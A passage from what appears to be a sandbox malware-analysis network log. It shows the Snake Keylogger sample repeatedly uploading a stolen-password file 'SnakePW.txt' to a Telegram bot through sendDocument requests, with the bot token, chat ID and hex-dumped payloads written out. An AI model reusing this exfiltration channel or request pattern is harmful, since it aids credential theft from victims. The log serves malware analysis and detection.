6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756fa972b02Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:43 UTC	254	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:42 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:43 UTC	254	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 31 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 32 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66914,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228822,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
151	192.168.2.5	50006	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:43 UTC	255	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756fada5b0d Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:43 UTC	255	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 61 64 61 35 62 30 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756fada5b0dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:43 UTC	255	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:43 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:43 UTC	256	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 31 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 32 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66915,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228823,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
152	192.168.2.5	50007	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:43 UTC	256	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756fb1757f1 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:43 UTC	257	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 62 31 37 35 37 66 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756fb1757f1Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:43 UTC	257	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:43 GMT Content-Type: application/json Content-Length: 509 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:43 UTC	257	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 31 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 32 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66916,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228823,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
153	192.168.2.5	50008	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:43 UTC	258	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756fb546dbc Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:43 UTC	258	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 62 35 34 36 64 62 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756fb546dbcContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:44 UTC	259	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:44 GMT Content-Type: application/json Content-Length: 509 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:44 UTC	259	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 31 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 32 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66918,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228824,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
154	192.168.2.5	50009	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:44 UTC	260	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756fb920edd Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:44 UTC	260	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 62 39 32 30 65 64 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756fb920eddContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:44 UTC	260	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:44 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:44 UTC	261	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 31 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 32 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66919,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228824,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
155	192.168.2.5	50010	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:45 UTC	261	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756fbfb8a63 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:45 UTC	262	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 62 66 62 38 61 36 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756fbfb8a63Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:45 UTC	262	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:45 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:45 UTC	262	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 32 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 32 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66921,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228825,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
156	192.168.2.5	50011	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:45 UTC	263	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756fc3abb98 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:45 UTC	263	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 63 33 61 62 62 39 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756fc3abb98Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:45 UTC	264	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:45 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:45 UTC	264	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 32 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 32 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66922,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228825,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
157	192.168.2.5	50012	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:45 UTC	265	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756fc767c16 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:45 UTC	265	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 63 37 36 37 63 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756fc767c16Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:46 UTC	265	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:46 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:46 UTC	266	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 32 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 32 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 